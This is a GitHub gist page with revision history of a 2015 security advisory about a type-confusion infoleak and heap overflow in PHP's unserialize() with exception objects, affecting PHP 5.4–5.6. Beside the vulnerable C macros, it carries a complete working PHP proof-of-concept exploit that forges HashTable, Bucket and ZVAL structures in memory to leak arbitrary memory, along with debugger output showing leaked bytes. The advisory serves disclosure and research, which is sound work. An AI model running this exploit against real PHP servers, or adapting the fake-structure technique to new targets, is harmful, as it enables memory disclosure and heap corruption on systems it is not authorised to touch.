Skip to content

Instantly share code, notes, and snippets.

@chtg
Last active August 29, 2015 14:20
Show Gist options
  • Select an option

  • Save chtg/4f57d0392ee8937d3e94 to your computer and use it in GitHub Desktop.

Select an option

Save chtg/4f57d0392ee8937d3e94 to your computer and use it in GitHub Desktop.

Revisions

  1. chtg revised this gist Apr 28, 2015. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion gistfile1.md
    Original file line number Diff line number Diff line change
    @@ -193,7 +193,7 @@ function zhash($key)
    $key = substr($key, -$len);
    for ($i = 0; $i < $len; $i++) {
    $hash = (($hash << 5) + $hash) + ord($key{$i});
    }
    }
    return $hash;
    }
  2. chtg revised this gist Apr 28, 2015. No changes.
  3. chtg revised this gist Apr 28, 2015. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions gistfile1.md
    Original file line number Diff line number Diff line change
    @@ -193,9 +193,9 @@ function zhash($key)
    $key = substr($key, -$len);
    for ($i = 0; $i < $len; $i++) {
    $hash = (($hash << 5) + $hash) + ord($key{$i});
    }
    }
    return $hash;
    }
    }
    ?>
    ```
  4. chtg revised this gist Apr 28, 2015. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions gistfile1.md
    Original file line number Diff line number Diff line change
    @@ -6,8 +6,8 @@ Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3 - Release
    Affected Versions
    ------------
    Affected is PHP 5.6 < 5.6.8
    Affected is PHP 5.5 < 5.5.24
    Affected is PHP 5.6 < 5.6.8
    Affected is PHP 5.5 < 5.5.24
    Affected is PHP 5.4 < 5.4.40

    Credits
  5. chtg revised this gist Apr 28, 2015. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion gistfile1.md
    Original file line number Diff line number Diff line change
    @@ -72,7 +72,7 @@ The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a fake HashTabl
    }
    ```

    The vallen can be completely control and we can supply negative value via a fake string-type ZVAL. This is using signed integer arithmetic and memcpy() function's third parameter is a unsiged integer. So we can assign a value to val which is larger than real allocated memory. The memcpy() will then copy more data than the heap-based buffers can hold, causing a heap-based buffer overflow.
    There is using signed integer arithmetic in erealloc(). The memcpy() function's third parameter is a unsiged integer. The vallen can be completely control and we can supply negative value via a fake string-type ZVAL. So we can assign a value to val which is larger than real allocated memory. The memcpy() will then copy more data than the heap-based buffers can hold, causing a heap-based buffer overflow.

    Proof of Concept Exploit
    ------------
  6. chtg created this gist Apr 28, 2015.
    216 changes: 216 additions & 0 deletions gistfile1.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,216 @@
    # Type Confusion Infoleak and Heap Overflow Vulnerability in unserialize() with exception

    Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3 - Release Date: 2015.4.28

    > A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow.
    Affected Versions
    ------------
    Affected is PHP 5.6 < 5.6.8
    Affected is PHP 5.5 < 5.5.24
    Affected is PHP 5.4 < 5.4.40

    Credits
    ------------
    This vulnerability was disclosed by Taoguang Chen.

    Description
    ------------
    ```
    ZEND_METHOD(exception, getTraceAsString)
    {
    zval *trace;
    char *res, **str, *s_tmp;
    int res_len = 0, *len = &res_len, num = 0;
    DEFAULT_0_PARAMS;
    res = estrdup("");
    str = &res;
    trace = zend_read_property(default_exception_ce, getThis(), "trace", sizeof("trace")-1, 1 TSRMLS_CC);
    zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC, (apply_func_args_t)_build_trace_string, 3, str, len, &num);
    ...
    static int _build_trace_string(zval **frame TSRMLS_DC, int num_args, va_list args, zend_hash_key *hash_key) /* {{{ */
    {
    char *s_tmp, **str;
    int *len, *num;
    long line;
    HashTable *ht = Z_ARRVAL_PP(frame);
    zval **file, **tmp;
    ...
    TRACE_APPEND_KEY("class");
    TRACE_APPEND_KEY("type");
    TRACE_APPEND_KEY("function");
    ...
    #define TRACE_APPEND_KEY(key) \
    if (zend_hash_find(ht, key, sizeof(key), (void**)&tmp) == SUCCESS) { \
    if (Z_TYPE_PP(tmp) != IS_STRING) { \
    zend_error(E_WARNING, "Value for %s is no string", key); \
    TRACE_APPEND_STR("[unknown]"); \
    } else { \
    TRACE_APPEND_STRL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp)); \
    } \
    }
    ```

    The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a fake HashTable and a fake Bucket. So we can supply a fake sring-type ZVAL, and lookup arbitrary memory address via the Z_STRVAL_PP macro, causing a crash or an information leak.

    ```
    #define TRACE_APPEND_STRL(val, vallen) \
    { \
    int l = vallen; \
    *str = (char*)erealloc(*str, *len + l + 1); \
    memcpy((*str) + *len, val, l); \
    *len += l; \
    }
    ```

    The vallen can be completely control and we can supply negative value via a fake string-type ZVAL. This is using signed integer arithmetic and memcpy() function's third parameter is a unsiged integer. So we can assign a value to val which is larger than real allocated memory. The memcpy() will then copy more data than the heap-based buffers can hold, causing a heap-based buffer overflow.

    Proof of Concept Exploit
    ------------
    The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.20.

    ```
    <?php
    ini_set("memory_limit", -1);
    setup_memory();
    $x = unserialize('O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:'.strlen($hashtable).':"'.$hashtable.'";}');
    echo $x, "\n";
    function setup_memory()
    {
    global $str, $hashtable;
    $base = 0x114000000 + 0x20;
    $bucket_addr = $base;
    $zval_delta = 0x100;
    $hashtable_delta = 0x200;
    $zval_addr = $base + $zval_delta;
    $hashtable_addr = $base + $hashtable_delta;
    $bucket = "\x01\x00\x00\x00\x00\x00\x00\x00";
    $bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00";
    $bucket .= ptr2str($bucket_addr + 3*8);
    $bucket .= ptr2str($zval_addr);
    $bucket .= ptr2str(0);
    $bucket .= ptr2str(0);
    $bucket .= ptr2str(0);
    $bucket .= ptr2str(0);
    $bucket .= ptr2str(0);
    $bucket .= ptr2str(zhash('class'));
    $bucket .= "\x06\x00\x00\x00\x00\x00\x00\x00";
    $bucket .= ptr2str($bucket_addr + 3*8 + 9*8);
    $bucket .= ptr2str($zval_addr + 5*8 + 6);
    $bucket .= ptr2str(0);
    $bucket .= ptr2str(0);
    $bucket .= ptr2str(0);
    $bucket .= ptr2str(0);
    $bucket .= ptr2str($zval_addr + 2*5*8 + 2*6);
    $bucket .= ptr2str($bucket_addr);
    $bucket .= ptr2str($bucket_addr + 9*8);
    $hashtable = "\x00\x00\x00\x00";
    $hashtable .= "\x01\x00\x00\x00";
    $hashtable .= "\x03\x00\x00\x00";
    $hashtable .= "\x00\x00\x00\x00";
    $hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00";
    $hashtable .= ptr2str(0);
    $hashtable .= ptr2str($bucket_addr);
    $hashtable .= ptr2str($bucket_addr + 9*8);
    $hashtable .= ptr2str($bucket_addr + 18*8);
    $hashtable .= ptr2str(0);
    $hashtable .= "\x00";
    $hashtable .= "\x00";
    $zval = ptr2str($hashtable_addr);
    $zval .= ptr2str(0);
    $zval .= "\x00\x00\x00\x00";
    $zval .= "\x04";
    $zval .= "\x00";
    $zval .= ptr2str(0);
    $zval .= ptr2str(0);
    $zval .= ptr2str(0);
    $zval .= ptr2str(0x100352572);
    $zval .= ptr2str(0x16);
    $zval .= "\x00\x00\x00\x00";
    $zval .= "\x06";
    $zval .= "\x00";
    $zval .= ptr2str(0);
    $zval .= ptr2str(0);
    $zval .= ptr2str(0);
    $zval .= ptr2str(hexdec(bin2hex(strrev('class'))));
    $part = str_repeat("\x73", 4096);
    for ($j = 0; $j < strlen($bucket); $j++) {
    $part[$j] = $bucket[$j];
    }
    for ($j = 0; $j < strlen($hashtable); $j++) {
    $part[$j + $hashtable_delta] = $hashtable[$j];
    }
    for ($j = 0; $j < strlen($zval); $j++) {
    $part[$j + $zval_delta] = $zval[$j];
    }
    $str = str_repeat($part, 1024*1024*256/4096);
    }
    function ptr2str($ptr)
    {
    $out = "";
    for ($i=0; $i<8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
    }
    return $out;
    }
    function zhash($key)
    {
    $hash = 5381;
    $key = $key;
    $len = strlen($key) + 1;
    for (; $len >= 8; $len -= 8) {
    for ($i = 0; $i < 8; $i++) {
    $hash = (($hash << 5) + $hash) + ord($key{$i});
    }
    }
    $key = substr($key, -$len);
    for ($i = 0; $i < $len; $i++) {
    $hash = (($hash << 5) + $hash) + ord($key{$i});
    }
    return $hash;
    }
    ?>
    ```

    Test the PoC on the command line, then output some memory blocks:

    ```
    $ lldb php
    (lldb) target create "php"
    Current executable set to 'php' (x86_64).
    (lldb) run tcpoc.php
    Process 1825 launched: '/usr/bin/php' (x86_64)
    exception 'Exception' in tcpoc.php:7
    Stack trace:
    #0 [internal function]: UH??AWAVSPI??I??H????()
    #1 {main}
    Process 1825 exited with status = 0 (0x00000000)
    ```